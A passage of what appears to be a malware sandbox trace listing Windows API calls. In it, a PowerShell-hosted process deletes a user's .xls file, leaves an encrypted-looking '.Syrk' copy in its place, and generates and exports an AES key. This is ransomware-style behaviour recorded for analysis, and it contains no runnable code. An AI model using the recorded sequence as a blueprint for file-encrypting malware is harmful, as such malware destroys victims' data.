lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", lpFilePart=0x0) returned 0x34 [0233.616] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0233.616] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", lpFilePart=0x0) returned 0x34 [0233.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0233.616] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0233.616] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", lpFilePart=0x0) returned 0x34 [0233.616] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\zm9nla-npd71l4thren.xls\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0233.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0233.617] CoTaskMemAlloc (cb=0x404) returned 0x5c9b950 [0233.617] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0233.617] CoTaskMemFree (pv=0x5c9b950) [0233.618] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\zm9nla-npd71l4thren.xls")) returned 0x20 [0233.618] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0233.618] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", lpFilePart=0x0) returned 0x34 [0233.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0233.618] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\zm9nla-npd71l4thren.xls"), fInfoLevelId=0x0, lpFileInformation=0x255e5f4 | out: lpFileInformation=0x255e5f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47053c70, ftCreationTime.dwHighDateTime=0x1d996db, ftLastAccessTime.dwLowDateTime=0xd3199990, ftLastAccessTime.dwHighDateTime=0x1d99b8b, ftLastWriteTime.dwLowDateTime=0xd3199990, ftLastWriteTime.dwHighDateTime=0x1d99b8b, nFileSizeHigh=0x0, nFileSizeLow=0x8135)) returned 1 [0233.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0233.619] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\zm9nla-npd71l4thren.xls")) returned 1 [0233.621] EtwEventActivityIdControl () returned 0x0 [0233.621] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.621] EtwEventActivityIdControl () returned 0x0 [0233.621] EtwEventActivityIdControl () returned 0x0 [0233.621] EtwEventActivityIdControl () returned 0x0 [0233.689] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\zm9nla-npd71l4thren.xls.syrk")) returned 0x20 [0233.689] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\zm9nla-npd71l4thren.xls.syrk")) returned 0x20 [0233.690] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0233.690] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls.Syrk", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls.Syrk", lpFilePart=0x0) returned 0x39 [0233.690] EtwEventActivityIdControl () returned 0x0 [0233.690] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.690] EtwEventActivityIdControl () returned 0x0 [0233.690] EtwEventActivityIdControl () returned 0x0 [0233.690] EtwEventActivityIdControl () returned 0x0 [0233.695] EtwEventActivityIdControl () returned 0x0 [0233.696] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.696] EtwEventActivityIdControl () returned 0x0 [0233.696] EtwEventActivityIdControl () returned 0x0 [0233.696] EtwEventActivityIdControl () returned 0x0 [0233.699] EtwEventActivityIdControl () returned 0x0 [0233.699] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.699] EtwEventActivityIdControl () returned 0x0 [0233.699] EtwEventActivityIdControl () returned 0x0 [0233.699] EtwEventActivityIdControl () returned 0x0 [0233.702] EtwEventActivityIdControl () returned 0x0 [0233.702] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.702] EtwEventActivityIdControl () returned 0x0 [0233.702] EtwEventActivityIdControl () returned 0x0 [0233.702] EtwEventActivityIdControl () returned 0x0 [0233.705] EtwEventActivityIdControl () returned 0x0 [0233.706] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.706] EtwEventActivityIdControl () returned 0x0 [0233.706] EtwEventActivityIdControl () returned 0x0 [0233.706] EtwEventActivityIdControl () returned 0x0 [0233.709] EtwEventActivityIdControl () returned 0x0 [0233.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0233.712] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\zm9nla-npd71l4thren.xls.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2368eb4 | out: lpFileInformation=0x2368eb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c3560, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x71c3560, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x71e96c0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x8154)) returned 1 [0233.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0233.713] GetConsoleOutputCP () returned 0x1b5 [0233.768] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0233.768] GetConsoleOutputCP () returned 0x1b5 [0233.768] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0233.768] GetConsoleOutputCP () returned 0x1b5 [0233.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0233.769] GetConsoleOutputCP () returned 0x1b5 [0233.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0233.769] GetConsoleOutputCP () returned 0x1b5 [0233.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0233.769] GetConsoleOutputCP () returned 0x1b5 [0233.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0233.769] GetConsoleOutputCP () returned 0x1b5 [0233.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0233.769] GetConsoleOutputCP () returned 0x1b5 [0233.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0233.770] GetConsoleOutputCP () returned 0x1b5 [0233.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0233.770] GetConsoleOutputCP () returned 0x1b5 [0233.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0233.770] GetConsoleOutputCP () returned 0x1b5 [0233.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0233.770] GetConsoleOutputCP () returned 0x1b5 [0233.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0233.770] GetConsoleOutputCP () returned 0x1b5 [0233.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0233.771] GetConsoleOutputCP () returned 0x1b5 [0233.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0233.771] GetConsoleOutputCP () returned 0x1b5 [0233.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0233.771] GetConsoleOutputCP () returned 0x1b5 [0233.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0233.771] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0233.772] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0233.772] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2383170*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2383170*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0233.772] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0233.772] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0233.773] EtwEventActivityIdControl () returned 0x0 [0233.773] EtwEventActivityIdControl () returned 0x0 [0233.774] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.774] EtwEventActivityIdControl () returned 0x0 [0233.774] EtwEventActivityIdControl () returned 0x0 [0233.774] EtwEventActivityIdControl () returned 0x0 [0233.776] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.776] EtwEventActivityIdControl () returned 0x0 [0233.776] EtwEventActivityIdControl () returned 0x0 [0233.776] EtwEventActivityIdControl () returned 0x0 [0233.778] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d320) returned 1 [0233.779] CryptGenKey (in: hProv=0x5c4d320, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c995a0) returned 1 [0233.779] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0233.779] CryptExportKey (in: hKey=0x5c995a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0233.780] CryptExportKey (in: hKey=0x5c995a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x238ad98, pdwDataLen=0x5a2e8c4 | out: pbData=0x238ad98*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0233.780] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.780] EtwEventActivityIdControl () returned 0x0 [0233.780] EtwEventActivityIdControl () returned 0x0 [0233.780] EtwEventActivityIdControl () returned 0x0 [0233.781] SysStringLen (param_1="") returned 0x8 [0233.781] SysStringLen (param_1="Y") returned 0x8 [0233.781] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.781] SysStringLen (param_1="ዬ釮鉭뛎葂޼ȡ") returned 0x8 [0233.781] SysStringLen (param_1="ዬ釮鉭뛎葂޼ȡ") returned 0x8 [0233.782] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.782] SysStringLen (param_1="YQ") returned 0x8 [0233.782] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.782] SysStringLen (param_1="⏉ｶﯛ뎀⦤쪞柨謑") returned 0x8 [0233.782] SysStringLen (param_1="⏉ｶﯛ뎀⦤쪞柨謑") returned 0x8 [0233.782] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.782] SysStringLen (param_1="YQk") returned 0x8 [0233.782] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.782] SysStringLen (param_1="噵鿏⌵띻㉓勒‽") returned 0x8 [0233.782] SysStringLen (param_1="噵鿏⌵띻㉓勒‽") returned 0x8 [0233.782] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.783] SysStringLen (param_1="YQk+") returned 0x8 [0233.783] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.783] SysStringLen (param_1="璣㺂ⳇ十꼎᧪篔") returned 0x8 [0233.783] SysStringLen (param_1="璣㺂ⳇ十꼎᧪篔") returned 0x8 [0233.783] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.783] SysStringLen (param_1="YQk+v") returned 0x8 [0233.783] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.783] SysStringLen (param_1="ꜟ娬뚚燥詢\壘留⊢) returned 0x8 [0233.783] SysStringLen (param_1="ꜟ娬뚚燥詢\壘留⊢) returned 0x8 [0233.783] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.783] SysStringLen (param_1="YQk+vt") returned 0x8 [0233.783] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.784] SysStringLen (param_1="뭠탑싵ﺨǞ햵") returned 0x8 [0233.784] SysStringLen (param_1="뭠탑싵ﺨǞ햵") returned 0x8 [0233.784] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.784] SysStringLen (param_1="YQk+vti") returned 0x8 [0233.784] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.784] SysStringLen (param_1="Ӡ큃㐉릑䝝") returned 0x8 [0233.784] SysStringLen (param_1="Ӡ큃㐉릑䝝") returned 0x8 [0233.784] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.784] SysStringLen (param_1="YQk+vtiU") returned 0x8 [0233.784] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.784] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊") returned 0x8 [0233.784] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊") returned 0x8 [0233.784] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊") returned 0x8 [0233.785] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊") returned 0x10 [0233.785] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.785] SysStringLen (param_1="YQk+vtiU8\䋝喳俈毓埴넰≒) returned 0x10 [0233.785] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.785] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊Ұ뒎洬⾦舱娄咞伞") returned 0x10 [0233.785] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊Ұ뒎洬⾦舱娄咞伞") returned 0x10 [0233.785] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.785] SysStringLen (param_1="YQk+vtiU83덂졕퍏し励") returned 0x10 [0233.786] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.786] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊敚䕜宵吾薥\⋛) returned 0x10 [0233.786] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊敚䕜宵吾薥\⋛) returned 0x10 [0233.786] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.786] SysStringLen (param_1="YQk+vtiU83e졕퍏し励") returned 0x10 [0233.786] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.786] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊ᴙ渺Ẵ⇑䕸眻") returned 0x10 [0233.786] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊ᴙ渺Ẵ⇑䕸眻") returned 0x10 [0233.786] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.786] SysStringLen (param_1="YQk+vtiU83e6퍏し励") returned 0x10 [0233.786] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.786] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊靝ﲴ绅鐃巊ֆ贽쨦") returned 0x10 [0233.786] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊靝ﲴ绅鐃巊ֆ贽쨦") returned 0x10 [0233.786] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.786] SysStringLen (param_1="YQk+vtiU83e6Tし励") returned 0x10 [0233.787] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.787] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊\맞徺꒽ⷛᜑ嫋≏) returned 0x10 [0233.787] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊\맞徺꒽ⷛᜑ嫋≏) returned 0x10 [0233.787] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.787] SysStringLen (param_1="YQk+vtiU83e6TGし励") returned 0x10 [0233.787] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.787] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊榙牀家崪緤냧뤡") returned 0x10 [0233.787] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊榙牀家崪緤냧뤡") returned 0x10 [0233.787] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.787] SysStringLen (param_1="YQk+vtiU83e6TG7励") returned 0x10 [0233.787] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.787] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊ﲋ꟣ꔐ퐰幨镬") returned 0x10 [0233.787] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊ﲋ꟣ꔐ퐰幨镬") returned 0x10 [0233.787] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.787] SysStringLen (param_1="YQk+vtiU83e6TG7U") returned 0x10 [0233.787] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.788] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵") returned 0x10 [0233.788] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵") returned 0x10 [0233.788] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵") returned 0x10 [0233.788] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵") returned 0x18 [0233.788] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.788] SysStringLen (param_1="YQk+vtiU83e6TG7Uq婑絬绻ⷯ䦒ᝥ굎") returned 0x18 [0233.788] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.789] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵鉚㐅냽㹐올ʱ營") returned 0x18 [0233.789] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵鉚㐅냽㹐올ʱ營") returned 0x18 [0233.789] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.789] SysStringLen (param_1="YQk+vtiU83e6TG7UqW絬绻ⷯ䦒ᝥ굎") returned 0x18 [0233.789] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.789] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵籶샅썊⋁攖樬") returned 0x18 [0233.789] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵籶샅썊⋁攖樬") returned 0x18 [0233.789] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.789] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh绻ⷯ䦒ᝥ굎") returned 0x18 [0233.789] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.789] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵歲峢㷘趵䕤") returned 0x18 [0233.789] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵歲峢㷘趵䕤") returned 0x18 [0233.789] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.789] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2ⷯ䦒ᝥ굎") returned 0x18 [0233.789] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.790] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵轞ꨫ昑⪓덂Ⱍ裌ᾃ") returned 0x18 [0233.790] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵轞ꨫ昑⪓덂Ⱍ裌ᾃ") returned 0x18 [0233.790] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.790] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2w䦒ᝥ굎") returned 0x18 [0233.790] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.790] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵뢻藮滙鞌ꦸϒॽ⩨") returned 0x18 [0233.790] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵뢻藮滙鞌ꦸϒॽ⩨") returned 0x18 [0233.790] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.790] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdᝥ굎") returned 0x18 [0233.790] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.790] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵珆䄓瓮㽐嘐ᜋ") returned 0x18 [0233.790] SysStringLen 